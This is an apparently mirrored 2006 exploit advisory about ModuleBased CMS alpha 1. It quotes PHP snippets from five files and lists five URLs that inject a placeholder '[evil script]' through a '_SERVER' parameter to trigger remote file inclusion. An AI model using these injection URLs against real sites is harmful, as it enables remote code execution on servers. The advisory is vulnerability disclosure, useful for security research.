Lucene search
K

modulebased.txt

🗓️ 01 Sep 2006 00:00:00Reported by sCORPINoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

ModuleBased CMS Remote File Inclusion Vulnerabilit

Code
`+ModuleBased CMS(MBCMS) multiple remote file Inclusion  
+discripton:MBCMS (ModuleBased CMS) is a new CMS designed for ease of use and customability. It is designed +for PHP/MySQL and it is easy to write new modules or templates to suit a particular website.   
+version:alfa 1  
+vendor site:http://sourceforge.net/projects/mbcms/  
+  
+discovered by: ScorpinO  
+location:IRAN/ANZALI  
+sites: WwW.ScorpinO.NeT Www.deltahacking.iR  
+email:[email protected]  
+special tnx to:Dr.trojan,HIV++,D_7J,Vampire,......  
+  
+discovered in avatar.php archive.class.php login.php profile.class.php process.php  
+  
+  
/admin/avatar.php  
  
<?php  
include_once($_SERVER[DOCUMENT_ROOT]."/libs/profile.class.php");  
include($_SERVER[DOCUMENT_ROOT]."/libs/config.php");  
$profile = new Profile();  
$q = mysql_query("SELECT avatar FROM users WHERE username='".$_SESSION['username']."'");  
$r = mysql_fetch_assoc($q);  
  
?>  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
/libs/archive.class.php  
  
<?php   
include_once($_SERVER[DOCUMENT_ROOT]."/libs/config.php");  
class Archive{  
function AllArchives(){  
$q = mysql_query("SELECT * FROM posts") or die (mysql_error());  
while ($r = mysql_fetch_assoc($q)){  
if($r['topic'] == 1)  
$topic = "News";  
if($r['topic'] == 2)  
$topic = "Articles";  
echo $topic;  
$q = mysql_query("SELECT * FROM posts WHERE topic='".$r['topic']."'") or die (mysql_error());  
while($r_posts = mysql_fetch_assoc($q))  
echo $r_posts['post'];  
}  
}  
}  
?>   
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
/libs/login.php  
  
<?php  
if($_POST['login']){  
include_once($_SERVER[DOCUMENT_ROOT]."/libs/user.class.php");  
$user = new User();  
$user->login($_POST['username'], $_POST['pass']);  
}  
?>  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
/libs/profiles.class.php  
  
<?php  
include_once($_SERVER[DOCUMENT_ROOT]."/libs/config.php"); ?>  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
/libs/profile/proccess.php  
  
<?php  
include_once($_SERVER[DOCUMENT_ROOT]."/libs/config.php");  
?>  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
+exploit:  
+  
+http://www.example.com/[mbcms]/admin/avatar.php?_SERVER=[evil script]  
+http://www.example.com/[mbcms]/libs/archive.class.php?_SERVER=[evil script]  
+http://www.example.com/[mbcms]/libs/login.php?_SERVER=[evil script]  
+http://www.example.com/[mbcms]/libs/profile.class.php?_SERVER=[evil script]  
+http://www.example.com/[mbcms]/libs/profile/process.php?_SERVER=[evil script]  
  
++  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation